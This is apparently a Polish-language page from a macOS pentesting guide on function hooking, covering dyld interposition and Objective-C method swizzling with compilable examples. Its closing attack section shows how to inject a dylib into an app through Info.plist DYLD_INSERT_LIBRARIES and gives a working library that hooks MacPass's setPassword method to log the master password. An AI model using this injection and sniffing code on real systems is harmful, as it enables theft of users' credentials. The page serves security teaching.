macOS Function Hooking

Reading time: 9 minutes

Interpozycja funkcji

Utwórz dylib z sekcją __interpose (__DATA___interpose) (lub sekcją oznaczoną jako S_INTERPOSING) zawierającą krotki wskaźników funkcji, które odnoszą się do oryginalnych i zamiennych funkcji.

Następnie wstrzyknij dylib za pomocą DYLD_INSERT_LIBRARIES (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście ograniczenia dotyczące użycia DYLD_INSERT_LIBRARIES mają tu również zastosowanie.

Interpozycja printf

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Należy również zauważyć, że interpozycja zachodzi pomiędzy procesem a załadowanymi bibliotekami, nie działa z pamięcią podręczną bibliotek współdzielonych.

Dynamiczna Interpozycja

Teraz możliwe jest również dynamiczne interponowanie funkcji za pomocą funkcji dyld_dynamic_interpose. Umożliwia to programowe interponowanie funkcji w czasie rzeczywistym, zamiast robienia tego tylko od początku.

Wystarczy wskazać krotki funkcji do zastąpienia i funkcji zastępującej.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

W ObjectiveC wywołanie metody wygląda tak: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Potrzebny jest obiekt, metoda i parametry. A gdy metoda jest wywoływana, msg jest wysyłany za pomocą funkcji objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Obiekt to someObject, metoda to @selector(method1p1:p2:), a argumenty to value1, value2.

Śledząc struktury obiektów, możliwe jest dotarcie do tablicy metod, w której nazwy i wskaźniki do kodu metody są zlokalizowane.

Accessing the raw methods

Możliwe jest uzyskanie informacji o metodach, takich jak nazwa, liczba parametrów lub adres, jak w poniższym przykładzie:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling z method_exchangeImplementations

Funkcja method_exchangeImplementations pozwala na zmianę adresu implementacji jednej funkcji na drugą.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Swizzling metod z method_setImplementation

Poprzedni format jest dziwny, ponieważ zmieniasz implementację 2 metod jedna na drugą. Używając funkcji method_setImplementation, możesz zmienić implementację metody na inną.

Pamiętaj tylko, aby zachować adres implementacji oryginalnej metody, jeśli zamierzasz ją wywołać z nowej implementacji przed jej nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Metodologia Ataku Hooking

Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak wiązało się to z uruchamianiem kodu wewnątrz procesu w celu ataku.

Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie Dyld za pomocą zmiennych środowiskowych lub przejęcia. Jednak przypuszczam, że można to również zrobić za pomocą wstrzykiwania Dylib do procesu.

Jednak obie opcje są ograniczone do niechronionych binarek/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach.

Jednak atak hookowania funkcji jest bardzo specyficzny, atakujący zrobi to, aby ukraść wrażliwe informacje z wnętrza procesu (gdyby nie, po prostu przeprowadziłby atak wstrzykiwania procesu). A te wrażliwe informacje mogą znajdować się w aplikacjach pobranych przez użytkownika, takich jak MacPass.

Zatem wektorem ataku byłoby znalezienie luki lub usunięcie podpisu aplikacji, wstrzyknięcie zmiennej środowiskowej DYLD_INSERT_LIBRARIES przez Info.plist aplikacji, dodając coś takiego:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

a następnie ponownie zarejestruj aplikację:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Dodaj do tej biblioteki kod hookujący, aby wyeksportować informacje: Hasła, wiadomości...

Przykład biblioteki

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Odniesienia

• https://nshipster.com/method-swizzling/